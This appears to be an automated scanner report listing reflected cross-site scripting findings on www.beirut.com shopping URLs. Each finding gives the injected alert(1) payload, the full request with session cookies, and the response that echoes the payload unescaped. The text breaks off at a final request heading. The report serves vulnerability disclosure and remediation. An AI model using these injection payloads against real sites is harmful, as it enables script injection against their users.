HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:04:40 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56529
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Books Music Moviesce2d2<script>alert(1)</script>8528b945f37 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 11cb5'-alert(1)-'91c08c29f3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/0508441811cb5'-alert(1)-'91c08c29f3/Movie-Rentals/3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:15:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57098
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Books-Music-Movies/0508441811cb5'-alert(1)-'91c08c29f3/Movie-Rentals/3'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 972fb'-alert(1)-'d8b8b2132af was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/05084418/Movie-Rentals972fb'-alert(1)-'d8b8b2132af/3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:24:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56513
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Books-Music-Movies/05084418/Movie-Rentals972fb'-alert(1)-'d8b8b2132af/3'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload be3db'-alert(1)-'f4e0b9aa4be was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/05084418/Movie-Rentals/3be3db'-alert(1)-'f4e0b9aa4be HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:31:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54251
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Books-Music-Movies/05084418/Movie-Rentals/3be3db'-alert(1)-'f4e0b9aa4be'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78963"><a>be44763c853 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping78963"><a>be44763c853/Books-Music-Movies/05084418/Movies-Games/6 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:43:24 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60169
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping78963"><a>be44763c853"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e62b5'-alert(1)-'b2f09b3cf7e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppinge62b5'-alert(1)-'b2f09b3cf7e/Books-Music-Movies/05084418/Movies-Games/6 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:50:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59913
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shoppinge62b5'-alert(1)-'b2f09b3cf7e/Books-Music-Movies/05084418/Movies-Games/6'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2ce15<script>alert(1)</script>504dd757676 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Books-Music-Movies2ce15<script>alert(1)</script>504dd757676/05084418/Movies-Games/6 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:55:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56153
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Books Music Movies2ce15<script>alert(1)</script>504dd757676 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 875f4'-alert(1)-'4f3c3afd9bd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies875f4'-alert(1)-'4f3c3afd9bd/05084418/Movies-Games/6 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:54:17 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56008
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Books-Music-Movies875f4'-alert(1)-'4f3c3afd9bd/05084418/Movies-Games/6'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2bbac'-alert(1)-'087a074d55 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/050844182bbac'-alert(1)-'087a074d55/Movies-Games/6 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:58:44 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56738
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Books-Music-Movies/050844182bbac'-alert(1)-'087a074d55/Movies-Games/6'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b3115'-alert(1)-'ff000cff8aa was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/05084418/Movies-Gamesb3115'-alert(1)-'ff000cff8aa/6 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:05:38 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56149
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Books-Music-Movies/05084418/Movies-Gamesb3115'-alert(1)-'ff000cff8aa/6'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc1f8'-alert(1)-'fe0b72b0da was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Movies/05084418/Movies-Games/6cc1f8'-alert(1)-'fe0b72b0da HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:12:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54240
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Books-Music-Movies/05084418/Movies-Games/6cc1f8'-alert(1)-'fe0b72b0da'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39914"><a>3128a551cea was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping39914"><a>3128a551cea/Books-Music-Movies/05084418/Music/72 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:50:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59787
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping39914"><a>3128a551cea"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2ef96'-alert(1)-'d866e2dc6c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping2ef96'-alert(1)-'d866e2dc6c/Books-Music-Movies/05084418/Music/72 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:01:38 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60043
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping2ef96'-alert(1)-'d866e2dc6c/Books-Music-Movies/05084418/Music/72'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e180d<script>alert(1)</script>e757b572d02 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Books-Music-Moviese180d<script>alert(1)</script>e757b572d02/05084418/Music/72 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:16:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58117
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Books Music Moviese180d<script>alert(1)</script>e757b572d02 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload be4ac'-alert(1)-'8b522bd1a75 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Books-Music-Moviesbe4ac'-alert(1)-'8b522bd1a75/05084418/Music/72 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:16:07 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58291
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Books-Music-Moviesbe4ac'-alert(1)-'8b522bd1a75/05084418/Music/72'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e9726'-alert(1)-'55efcd52eb5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
